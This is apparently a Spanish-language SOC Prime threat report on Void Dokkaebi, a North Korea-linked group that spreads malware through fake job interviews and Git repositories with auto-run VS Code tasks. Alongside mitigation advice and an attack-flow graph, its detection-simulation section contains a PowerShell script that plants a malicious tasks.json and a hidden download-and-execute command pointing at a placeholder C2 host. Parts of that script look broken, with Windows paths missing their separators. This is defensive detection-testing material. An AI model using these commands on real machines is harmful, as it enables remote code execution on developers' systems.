SOC Prime Bias: Crítico

24 Abr 2026 16:18

Entrevistas Falsas Utilizadas por Void Dokkaebi para Propagar Malware a Través de Repositorios Git

Author Photo
Ruslan Mikhalov Jefe de Investigación de Amenazas en SOC Prime linkedin icon Seguir
Entrevistas Falsas Utilizadas por Void Dokkaebi para Propagar Malware a Través de Repositorios Git
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Resumen

Void Dokkaebi, un grupo de amenazas vinculado a Corea del Norte, está utilizando ofertas falsas de entrevistas de trabajo para atraer a desarrolladores a clonar repositorios maliciosos. Una vez abiertos, estos repositorios abusan de tareas inyectadas en VS Code y JavaScript ofuscado para convertir proyectos de código confiable en canales automatizados de entrega de malware. Repositorios infectados pueden ayudar luego a propagar el compromiso aún más en los entornos de desarrolladores y ecosistemas conectados.

Investigación

Trend Micro descubrió más de 750 repositorios públicos infectados, más de 500 configuraciones maliciosas de tareas en VS Code, y 101 casos que involucran un script por lotes personalizado diseñado para alterar commits. El análisis mostró que el código malicioso obtenía cargas útiles a través de servicios basados en blockchain y finalmente entregaba una variante de DEV#POPPER RAT. Ese malware luego se comunicaba con la infraestructura del atacante a través de canales basados en WebSocket y HTTP.

Mitigación

Las defensas recomendadas incluyen aislar el código recibido a través de procesos de entrevista, agregar .vscode/ to .gitignore, hacer cumplir confirmaciones firmadas y protección de ramas, y auditar repositorios para marcadores de infección conocidos. Los equipos de seguridad también deben monitorear el tráfico de API de blockchain en busca de comportamientos sospechosos y bloquear el acceso a las URL de mando y control identificadas. Los desarrolladores deben tratar las indicaciones de confianza de espacio de trabajo de VS Code como un punto de control de seguridad significativo, no una acción rutinaria de clic.

Respuesta

Si se sospecha una infección, aisle inmediatamente la estación de trabajo afectada, revoque cualquier credencial expuesta, elimine los archivos de tarea maliciosos .vscode y JavaScript inyectados, y realice una revisión completa del repositorio afectado. Las defensas de red también deben actualizarse para detectar los patrones de mando y control conocidos y bloquear la comunicación saliente hacia los endpoints de blockchain identificados.

"graph TB %% Class definitions classDef stage fill:#e6f7ff classDef technique fill:#fff2cc classDef file fill:#f0e68c classDef malware fill:#ffcccc classDef indicator fill:#d9ead3 %% Node definitions stage_initial["<b>Fase</b> – Acceso Inicial<br/>El atacante atrae al desarrollador con una entrevista falsa y un repositorio Git malicioso"] class stage_initial stage tech_user_exec["<b>Técnica</b> – Ejecución del Usuario T1204<br/>La víctima ejecuta contenido malicioso como un enlace o código copiado"] class tech_user_exec technique tech_malicious_link["<b>Técnica</b> – Enlace Malicioso T1204.001<br/>El enlace dirige a la víctima a un repositorio malicioso"] class tech_malicious_link technique tech_malicious_copy["<b>Técnica</b> – Copiar y Pegar Malicioso T1204.004<br/>El desarrollador copia código del repositorio malicioso"] class tech_malicious_copy technique stage_repo_harvest["<b>Fase</b> – Cosecha de Repositorio<br/>El repositorio clonado da acceso al código fuente y credenciales potenciales"] class stage_repo_harvest stage tech_code_repo["<b>Técnica</b> – Datos de Repositorios de Información: Repositorios de Código T1213.003<br/>El adversario extrae datos de los repositorios de código"] class tech_code_repo technique stage_execution_vs["<b>Fase</b> – Ejecución a través de VS Code<br/>.vscode/tasks.json ejecuta el descargador automáticamente al abrir la carpeta"] class stage_execution_vs stage tech_trusted_ide["<b>Técnica</b> – Ejecución de Proxy de Utilidades de Desarrollador de Confianza T1127<br/>Abuso de extensiones IDE de confianza para ejecutar código"] class tech_trusted_ide technique tech_ide_ext["<b>Técnica</b> – Extensiones de Software: Extensiones IDE T1176.002<br/>El tasks.json malicioso desencadena la ejecución"] class tech_ide_ext technique file_tasks_json["<b>Archivo</b> – .vscode/tasks.json<br/>Configurado para ejecutarse en la apertura de carpeta para lanzar el descargador"] class file_tasks_json file stage_payload_retrieval["<b>Fase</b> – Recuperación de Carga<br/>El descargador obtiene cargas útiles desde endpoints RPC de blockchain"] class stage_payload_retrieval stage tech_resource_hijack["<b>Técnica</b> – Secuestro de Recursos T1496<br/>Utiliza infraestructura de blockchain para la entrega de cargas útiles"] class tech_resource_hijack technique tech_obfuscation["<b>Técnica</b> – Archivos o Información Ofuscados: Resolución Dinámica de API T1027.007<br/>El código oculta endpoints de API y los resuelve en tiempo de ejecución"] class tech_obfuscation technique indicator_blockchain["<b>Indicador</b> – Conexiones RPC de Blockchain Salientes<br/>Llamadas a api.trongrid.io, aptoslabs.com y RPC de BSC"] class indicator_blockchain indicator stage_module_hijack["<b>Fase</b> – Secuestro de Módulos<br/>Directorio .node_modules oculto colocado para pre-cargar módulos Node maliciosos"] class stage_module_hijack stage tech_shared_modules["<b>Técnica</b> – Módulos Compartidos T1129<br/>El módulo malicioso se carga antes que los legítimos"] class tech_shared_modules technique file_node_modules["<b>Archivo</b> – directorio .node_modules<br/>Contiene módulo secuestrado"] class file_node_modules file stage_rat_deployment["<b>Fase</b> – Implementación de RAT<br/>La variante DEV#POPPER RAT establece C2 de WebSocket y exfiltra datos"] class stage_rat_deployment stage malware_devpopper["<b>Malware</b> – DEV#POPPER RAT<br/>WebSocket C2, exfiltración de archivos, evita pipelines de CI/CD"] class malware_devpopper malware indicator_c2["<b>Indicador</b> – URLs de WebSocket C2"] class indicator_c2 indicator stage_persistence["<b>Fase</b> – Persistencia y Manipulación de Commits<br/>JavaScript malicioso inyectado en archivos de configuración y el script por lotes modifica commits"] class stage_persistence stage tech_timestomp["<b>Técnica</b> – Eliminación de Indicadores: Timestomp T1070.006<br/>Altera el reloj del sistema para antedatar commits"] class tech_timestomp technique file_postcss["<b>Archivo</b> – postcss.config.mjs<br/>JavaScript ofuscado inyectado"] class file_postcss file file_batch["<b>Archivo</b> – temp_auto_push.bat<br/>Automatiza la modificación de commits y el forzado-push"] class file_batch file stage_propagation["<b>Fase</b> – Propagación<br/>La carpeta y el código malicioso .vscode comprometidos, desarrolladores descendentes heredan la infección"] class stage_propagation stage tech_propagation["<b>Técnica</b> – Ejecución de Proxy de Utilidades de Desarrollador de Confianza T1127<br/>Abuso repetido de IDE a través de repositorios clonados"] class tech_propagation technique tech_repo_spread["<b>Técnica</b> – Datos de Repositorios de Información T1213.003<br/>El código malicioso se propaga a través del compartimiento de repositorios"] class tech_repo_spread technique indicator_detection["<b>Indicador</b> – Detección de IoCs<br/>RPC de Blockchain, C2 de WebSocket, rutas de HTTP /verify-human/ y /u/f"] class indicator_detection indicator %% Connections stage_initial –>|usa| tech_user_exec tech_user_exec –>|incluye| tech_malicious_link tech_user_exec –>|incluye| tech_malicious_copy tech_malicious_link –>|entrega| stage_repo_harvest tech_malicious_copy –>|entrega| stage_repo_harvest stage_repo_harvest –>|explota| tech_code_repo stage_repo_harvest –>|lleva a| stage_execution_vs stage_execution_vs –>|usa| tech_trusted_ide stage_execution_vs –>|usa| tech_ide_ext stage_execution_vs –>|ejecuta| file_tasks_json stage_execution_vs –>|desencadena| stage_payload_retrieval stage_payload_retrieval –>|usa| tech_resource_hijack stage_payload_retrieval –>|usa| tech_obfuscation stage_payload_retrieval –>|crea| indicator_blockchain stage_payload_retrieval –>|lleva a| stage_module_hijack stage_module_hijack –>|usa| tech_shared_modules stage_module_hijack –>|contiene| file_node_modules stage_module_hijack –>|lleva a| stage_rat_deployment stage_rat_deployment –>|depliega| malware_devpopper malware_devpopper –>|se comunica con| indicator_c2 stage_rat_deployment –>|prepara para| stage_persistence stage_persistence –>|usa| tech_timestomp stage_persistence –>|modifica| file_postcss stage_persistence –>|ejecuta| file_batch stage_persistence –>|habilita| stage_propagation stage_propagation –>|usa| tech_propagation stage_propagation –>|usa| tech_repo_spread stage_propagation –>|produce| indicator_detection "

Flujo de Ataque

Ejecución de Simulación

Prerrequisito: La Verificación de Telemetría y Línea de Base Pre‑vuelo debe haber pasado.

Razonamiento: Esta sección detalla la ejecución precisa de la técnica del adversario (TTP) diseñada para activar la regla de detección. Los comandos y la narrativa DEBEN reflejar directamente los TTPs identificados y apuntar a generar la telemetría exacta esperada por la lógica de detección. Ejemplos abstractos o no relacionados conducirán a un mal diagnóstico.

  • Narrativa del Ataque y Comandos:
    Un atacante que ha convencido a un desarrollador para clonar un repositorio malicioso deja caer un VS Code tasks.json oculto en el .vscode proyecto. La tarea hace referencia a un temp_auto_push.bat script ubicado en el directorio temporal del sistema. El archivo batch se genera sobre la marcha a partir de un fragmento de JavaScript ofuscado que incrusta los marcadores global['!'] and global['_V']. Cuando el desarrollador abre la carpeta en VS Code, la tarea se ejecuta automáticamente, ejecutando el archivo batch, que finalmente se comunica con un servidor C2. Esta cadena cumple con T1053.007 (tarea de VS Code), T1127.003 (acceso directo persistente a través de batch), y T1027.007 (ofuscación).

    Los pasos son:

    1. Coloque un tasks.json malicioso con las cadenas requeridas.
    2. Cree el JavaScript ofuscado que, al evaluarse, escribe temp_auto_push.bat un archivo que contiene el comando malicioso.
    3. Dispare la ejecución de la tarea de VS Code (simulado invocando la tarea a través de code --folder-uri CLI).
  • Script de Prueba de Regresión:

    # -------------------------------------------------
    # Simulación de Tarea de VS Code de Void Dokkaebi y JavaScript Ofuscado
    # -------------------------------------------------
    $vscodeDir = "$env:USERPROFILE.vscode"
    $taskFile  = Join-Path $vscodeDir "tasks.json"
    $tempBat   = "$env:TEMPtemp_auto_push.bat"
    $jsPayload = @"
    (function(){
    var g = global;
    g['!'] = true;    // marcador para detección
    g['_V'] = 'payload';
    var cmd = 'powershell -nop -w hidden -c "IEX ((New-Object Net.WebClient).DownloadString(''http://malicious.c2/payload.ps1''))"';
    var fso = new ActiveXObject('Scripting.FileSystemObject');
    var file = fso.CreateTextFile('$tempBat', true);
    file.WriteLine(cmd);
    file.Close();
    })();
    "@
    
    # 1. Asegúrese de que la carpeta .vscode exista
    New-Item -ItemType Directory -Path $vscodeDir -Force | Out-Null
    
    # 2. Escriba tasks.json malicioso
    @"
    {
    "version": "2.0.0",
    "tasks": [
    {
      "label": "AutoPush",
      "type": "shell",
      "command": "cscript //nologo //E:jscript //B - <<'JS'n$jsPayloadnJS"
    }
    ]
    }
    "@ | Set-Content -Path $taskFile -Encoding UTF8
    
    # 3. (Opcional) Invoque directamente la tarea para emular la autoejecución de VS Code
    # Nota: En un entorno real, VS Code analizaría y ejecutaría esta tarea.
    Write-Host "Tarea maliciosa de VS Code desplegada. Ejecutando a través de ejecución simulada..."
    cscript //nologo //E:jscript //B - <<'JS'
    $jsPayload
    JS
    
    Write-Host "Simulación completa. Verifique SIEM para alerta."
  • Comandos de Limpieza:

    # Eliminar artefactos maliciosos
    Remove-Item -Path "$env:USERPROFILE.vscodetasks.json" -Force -ErrorAction SilentlyContinue
    Remove-Item -Path "$env:TEMPtemp_auto_push.bat" -Force -ErrorAction SilentlyContinue
    # Opcionalmente, limpiar el directorio .vscode si fue creado únicamente para la prueba
    if ((Get-ChildItem "$env:USERPROFILE.vscode").Count -eq 0) {
        Remove-Item -Path "$env:USERPROFILE.vscode" -Force -Recurse -ErrorAction SilentlyContinue
    }
    Write-Host "Limpieza completada."